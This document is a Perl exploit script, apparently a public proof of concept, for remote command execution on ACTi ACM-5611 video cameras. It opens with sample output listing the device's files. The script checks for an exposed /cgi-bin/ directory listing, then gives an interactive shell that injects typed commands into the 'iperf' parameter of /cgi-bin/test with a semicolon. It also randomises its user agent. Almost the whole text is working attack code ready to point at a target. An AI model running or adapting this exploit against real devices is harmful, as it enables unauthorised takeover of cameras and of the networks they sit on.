# # [ /var/log/wan_info_brief.txt
# # [ /var/log/system_info_web.txt
# # [ /var/log/system_info_url.txt
# # [ /var/www/images/Space.gif
# # [ /var/www/images/bar.gif
# # [ /var/www/images/bar2.gif
# # [ /var/www/images/icon.gif
# # [ /var/www/images/layout.gif
# # [ /var/www/images/r0-100.gif
# # [ /var/www/images/header_red.jpg
# # [ /var/www/images/ie_error.bmp
# # [ /var/www/images/r0-255.gif
# # [ /var/www/images/ptz_center_1.gif
# # [ /var/www/images/ptz_down_1.gif
# # [ /var/www/images/ptz_left_1.gif
# # [ /var/www/images/ptz_leftdown_1.gif
# # [ /var/www/images/ptz_leftup_1.gif
# # [ /var/www/images/ptz_right_1.gif
# # [ /var/www/images/ptz_rightdown_1.gif
# # [ /var/www/images/ptz_rightup_1.gif
# # [ /var/www/images/ptz_up_1.gif
# # [ /var/www/images/add.jpg
# # [ /var/www/images/delete.jpg
# # [ /var/www/images/focusin.jpg
# # [ /var/www/images/focusout.jpg
# # [ /var/www/images/home.jpg
# # [ /var/www/images/reset.jpg
# # [ /var/www/images/tele.jpg
# # [ /var/www/images/wide.jpg
# # [ /var/www/images/Num00.jpg
# # [ /var/www/images/Num01.jpg
# # [ /var/www/cgi-bin/cmd/system
# # [ /var/www/cgi-bin/cmd/mpeg4
# # [ /var/www/cgi-bin/cmd/encoder
# # [ /var/www/cgi-bin/cmd/.htpasswd
# # [ /var/www/cgi-bin/80503736
# # [ /var/www/cgi-bin/update
# # [ /var/www/cgi-bin/updatem
# # [ /var/www/cgi-bin/macdev
# # [ /var/www/cgi-bin/system
# # [ /var/www/cgi-bin/mpeg4
# # [ /var/www/cgi-bin/test
# # [ /var/www/cgi-bin/encoder
# # [ /var/www/cgi-bin/web1.cgi
# # [ /var/www/default.css
# # [ /var/www/index.htm
# # [ /var/www/profile/cze.bin
# # [ /var/www/profile/dan.bin
# # [ /var/www/profile/eng.bin
# # [ /var/www/profile/fin.bin
# # [ /var/www/profile/fre.bin
# # [ /var/www/profile/ger.bin
# # [ /var/www/profile/hun.bin
# # [ /var/www/profile/ita.bin
# # [ /var/www/profile/jap.bin
# # [ /var/www/profile/lang_table.bin
# # [ /var/www/profile/por.bin
# # [ /var/www/profile/sch.bin
# # [ /var/www/profile/spa.bin
# # [ /var/www/profile/tch.bin
# # [ /var/www/nvEPLMedia.ocx
# # [ /var/www/pid
# # [ #
# #
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
$| = 1;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ ACTi ACM-5611 Video Camera Remote Command Execution Exploit
[ ============================================================
[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>
";
if(not defined $ARGV[0])
{
print "[ Usage: perl $0 [target]\n";
print "[ Example: perl $0 192.168.1.1\n\n";
exit;
}
my $host = $ARGV[0] =~ /^http:\/\// ? $ARGV[0]: 'http://' . $ARGV[0];
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->agent($user_agent);
my $target = $host."/cgi-bin/";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request);
print "[ 401 Unauthorized!\n" and exit if ($response->code eq '401');
if (defined ($response->as_string()) && ($response->as_string() =~ m/<H2>Index of \/cgi-bin\/<\/H2>/)){
print "[ Server: ", $response->header('Server'), "\n";
print "[ The target is vulnerable\n";
print "[\n[ Directory Traversal\n";
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
my @files = $tree->look_down(_tag => 'a');
print "[ ", $host.$_->attr('href'), "\n" for @files;
print "[\n[ Got root?\n";
while(1){
my $cmd;
print "[ \# ";
chomp($cmd = <STDIN>);
if($cmd eq "clear"){system $^O eq 'MSWin32' ? 'cls' : 'clear';}
exit if $cmd eq 'exit';
my $target = $host."/cgi-bin/test?iperf=;".$cmd;
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ ", $_, "\n" for split(/\n/,$response->content());
}
} else {
print "[ Exploit failed! The target isn't vulnerable\n";
exit;
}